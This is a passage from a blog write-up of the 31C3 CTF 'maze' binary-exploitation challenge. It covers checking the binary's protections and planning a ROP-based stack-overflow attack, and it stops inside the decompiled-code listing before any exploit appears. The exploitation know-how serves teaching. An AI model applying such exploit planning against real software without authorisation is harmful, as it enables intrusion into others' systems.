{"id":28,"date":"2015-09-11T09:22:41","date_gmt":"2015-09-11T09:22:41","guid":{"rendered":"http:\/\/piratesecurityblog.com\/?p=28"},"modified":"2016-09-28T10:07:18","modified_gmt":"2016-09-28T10:07:18","slug":"31c3-ctf-maze-write-up","status":"publish","type":"post","link":"https:\/\/piratesecurityblog.com\/?p=28","title":{"rendered":"31C3 CTF: Maze write-up"},"content":{"rendered":"<p>This is my write-up for the maze challenge in the 31C3 CTF, that I played with the Hacking For Soju team. We \u201conly\u201d got 10th place (out of the 286 teams that scored any points at all), but considering that only me, capsl and avlidienbrunn had time to spend any time on it (and I was able to score 170 out of our 340 points, which would have given me the #33 spot if I had played alone), it wasn\u2019t too shabby! \ud83d\ude42 If I hadn\u2019t been so sleepy\/off during large parts of the CTF, I would probably have been able to score a bit more. Greets to capsl for brainstorming about the potential ROP-scenarios btw!<\/p>\n<p>To make this write-up more useful for people that want to learn, I have tried to make it quite detailed.<\/p>\n<p>The information for the challenge was:<\/p>\n<div id=\"crayon-57eb96174b1b8941588278\" class=\"crayon-syntax crayon-theme-solarized-dark crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"crayon-plain-wrap\"><\/div>\n<div class=\"crayon-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums \" data-settings=\"show\">\n<div class=\"crayon-nums-content\">\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1b8941588278-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1b8941588278-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1b8941588278-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1b8941588278-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1b8941588278-5\">5<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\">\n<div id=\"crayon-57eb96174b1b8941588278-1\" class=\"crayon-line\">Where do you want to go (today)?<\/div>\n<div id=\"crayon-57eb96174b1b8941588278-2\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b1b8941588278-3\" class=\"crayon-line\">nc 188.40.18.71 1234<\/div>\n<div id=\"crayon-57eb96174b1b8941588278-4\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b1b8941588278-5\" class=\"crayon-line\">maze_6a865c7769f331be0666c5c7dccbba9b.tar.gz<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>The provided tar.gz file contained the binary for the challenge: <a href=\"http:\/\/www.clevcode.org\/files\/maze\">maze<\/a><\/p>\n<p>To run it as a server process on your own system, you can use the following command:<\/p>\n<div id=\"crayon-57eb96174b1c8679429199\" class=\"crayon-syntax crayon-theme-solarized-dark crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"crayon-plain-wrap\"><\/div>\n<div class=\"crayon-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums \" data-settings=\"show\">\n<div class=\"crayon-nums-content\">\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1c8679429199-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\">\n<div id=\"crayon-57eb96174b1c8679429199-1\" class=\"crayon-line\"><span class=\"crayon-e\">socat <\/span><span class=\"crayon-v\">tcp<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">listen<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">1234<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">reuseaddr<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-e\">fork <\/span><span class=\"crayon-v\">exec<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">maze<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>When connecting to the target, the following message is displayed:<\/p>\n<div id=\"crayon-57eb96174b1ce044585322\" class=\"crayon-syntax crayon-theme-solarized-dark crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"crayon-plain-wrap\"><\/div>\n<div class=\"crayon-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums \" data-settings=\"show\">\n<div class=\"crayon-nums-content\">\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1ce044585322-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1ce044585322-2\">2<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\">\n<div id=\"crayon-57eb96174b1ce044585322-1\" class=\"crayon-line\">You wake up and have a big headache.<\/div>\n<div id=\"crayon-57eb96174b1ce044585322-2\" class=\"crayon-line crayon-striped-line\">You are in a dead end, you can only go east. Where do you want to go (today)?<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>Since the name of the challenge is \u201cmaze\u201d, and we are presented with a message that states that we can only go east, the valid inputs are presumably east, west, north and south, and we are supposed to navigate through a maze in order to eventually reach some sort of goal. In order to understand exactly what is going on, and to see if there are any vulnerabilities that we can exploit along the way, our next step is to load the binary in IDA Pro and analyze the code. But first, let\u2019s see what kind of protections are enabled for the binary in question, using <a href=\"http:\/\/trapkit.de\/tools\/checksec.html\" target=\"_blank\">checksec.sh<\/a>.<\/p>\n<div id=\"crayon-57eb96174b1d5310015307\" class=\"crayon-syntax crayon-theme-solarized-dark crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"crayon-plain-wrap\"><\/div>\n<div class=\"crayon-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums \" data-settings=\"show\">\n<div class=\"crayon-nums-content\">\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1d5310015307-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1d5310015307-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1d5310015307-3\">3<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\">\n<div id=\"crayon-57eb96174b1d5310015307-1\" class=\"crayon-line\"><span class=\"crayon-v\">je<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">tiny<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">31c3<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">pwn<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">maze<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">je<\/span><span class=\"crayon-sy\">$<\/span> <span class=\"crayon-v\">checksec<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">sh<\/span> <span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-e\">file <\/span><span class=\"crayon-e\">maze<\/span><\/div>\n<div id=\"crayon-57eb96174b1d5310015307-2\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">RELRO\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span><span class=\"crayon-e\">STACK <\/span><span class=\"crayon-e\">CANARY\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">NX\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">PIE\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span><span class=\"crayon-e\">RPATH\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">RUNPATH\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">FILE<\/span><\/div>\n<div id=\"crayon-57eb96174b1d5310015307-3\" class=\"crayon-line\"><span class=\"crayon-e\">Partial <\/span><span class=\"crayon-e\">RELRO\u00a0\u00a0 <\/span><span class=\"crayon-e\">No <\/span><span class=\"crayon-e\">canary <\/span><span class=\"crayon-e\">found\u00a0\u00a0 <\/span><span class=\"crayon-e\">NX <\/span><span class=\"crayon-e\">enabled\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">No <\/span><span class=\"crayon-e\">PIE\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">No <\/span><span class=\"crayon-e\">RPATH\u00a0\u00a0 <\/span><span class=\"crayon-e\">No <\/span><span class=\"crayon-e\">RUNPATH\u00a0\u00a0 <\/span><span class=\"crayon-v\">maze<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>I would suggest that you make a habit of checking which exploit mitigations have been enabled for your target before you start auditing it. For real-world targets, this will give you an idea of the preconditions you will probably have to meet in order to achieve reliable exploitation of the target (i.e. if information leaks are necessary, and so on). For CTF challenges, it can even provide hints on what kind of vulnerabilities to look for.<\/p>\n<p>In this case, NX is enabled, so we will probably have to use a ROP based payload. PIE (Position-Independent Executable) is not enabled, so we will be able to use ROP gadgets from the executable itself even if ASLR is enabled on the target system. However, the binary is rather small, so there is probably only a limited number of suitable ROP gadgets available. Stack canaries are not enabled, which is a strong indication that the vulnerability to look out for in this case is probably a stack-based buffer overflow.<\/p>\n<p>Do not rely completely on the information you determine this way though. In some cases (i.e, a poorly organized CTF), the binary running on the actual target is slightly different than the one provided, or some protections have been explicitly disabled\/enabled on the target system.<\/p>\n<p>Also note that the binary is a 64-bit Linux executable. Analyzing 64-bit (x86_64, to be specific) code has recently become a lot less time consuming, due to the release of Hex-Rays x64. Hex-Rays is an excellent decompiler plugin for IDA Pro, that lets you interactively work with the decompiled code in order to make sense of it. Note that there are still corner-cases that Hex-Rays is not able to handle, especially when dealing with obfuscated code and code that has been explicitly designed in order to make static analysis difficult. If you find something strange in the decompiled code, always perform manual analysis of the assembly code in question.<\/p>\n<p>After the initial pass through the Hex-Rays decompiler, the code shown below is produced (note that irrelevant code, i.e the automatically inserted stub that is calling __libc_start_main() and the code handling initialization and cleanup, has been manually removed from the source code listing). While reading it, try to see if you can spot the vulnerability:<\/p>\n<div id=\"crayon-57eb96174b1de589549069\" class=\"crayon-syntax crayon-theme-solarized-dark crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"crayon-plain-wrap\"><\/div>\n<div class=\"crayon-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums \" data-settings=\"show\">\n<div class=\"crayon-nums-content\">\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-66\">66<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-67\">67<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-68\">68<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-69\">69<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-70\">70<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-71\">71<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-72\">72<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-73\">73<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-74\">74<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-75\">75<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-76\">76<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-77\">77<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-78\">78<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-79\">79<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-80\">80<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-81\">81<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-82\">82<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-83\">83<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-84\">84<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-85\">85<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-86\">86<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-87\">87<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-88\">88<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-89\">89<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-90\">90<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-91\">91<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-92\">92<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-93\">93<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-94\">94<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-95\">95<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-96\">96<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-97\">97<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-98\">98<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-99\">99<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-100\">100<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-101\">101<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-102\">102<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-103\">103<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-104\">104<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-105\">105<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-106\">106<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-107\">107<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-108\">108<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-109\">109<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-110\">110<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-111\">111<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-112\">112<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-113\">113<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-114\">114<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-115\">115<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-116\">116<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-117\">117<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-118\">118<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-119\">119<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-120\">120<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-121\">121<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-122\">122<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-123\">123<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-124\">124<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-125\">125<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-126\">126<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-127\">127<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-128\">128<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-129\">129<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-130\">130<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-131\">131<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-132\">132<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-133\">133<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-134\">134<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-135\">135<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-136\">136<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-137\">137<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-138\">138<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-139\">139<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-140\">140<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-141\">141<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-142\">142<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-143\">143<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-144\">144<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-145\">145<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-146\">146<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-147\">147<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-148\">148<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-149\">149<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-150\">150<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-151\">151<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-152\">152<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-153\">153<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-154\">154<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-155\">155<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-156\">156<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-157\">157<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-158\">158<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-159\">159<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-160\">160<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-161\">161<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-162\">162<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-163\">163<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-164\">164<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-165\">165<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-166\">166<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-167\">167<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-168\">168<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-169\">169<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-170\">170<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-171\">171<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-172\">172<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-173\">173<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-174\">174<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-175\">175<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-176\">176<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-177\">177<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-178\">178<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-179\">179<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-180\">180<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-181\">181<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-182\">182<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-183\">183<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b1de589549069-184\">184<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b1de589549069-185\">185<\/div>\n<div class=\"crayon-num 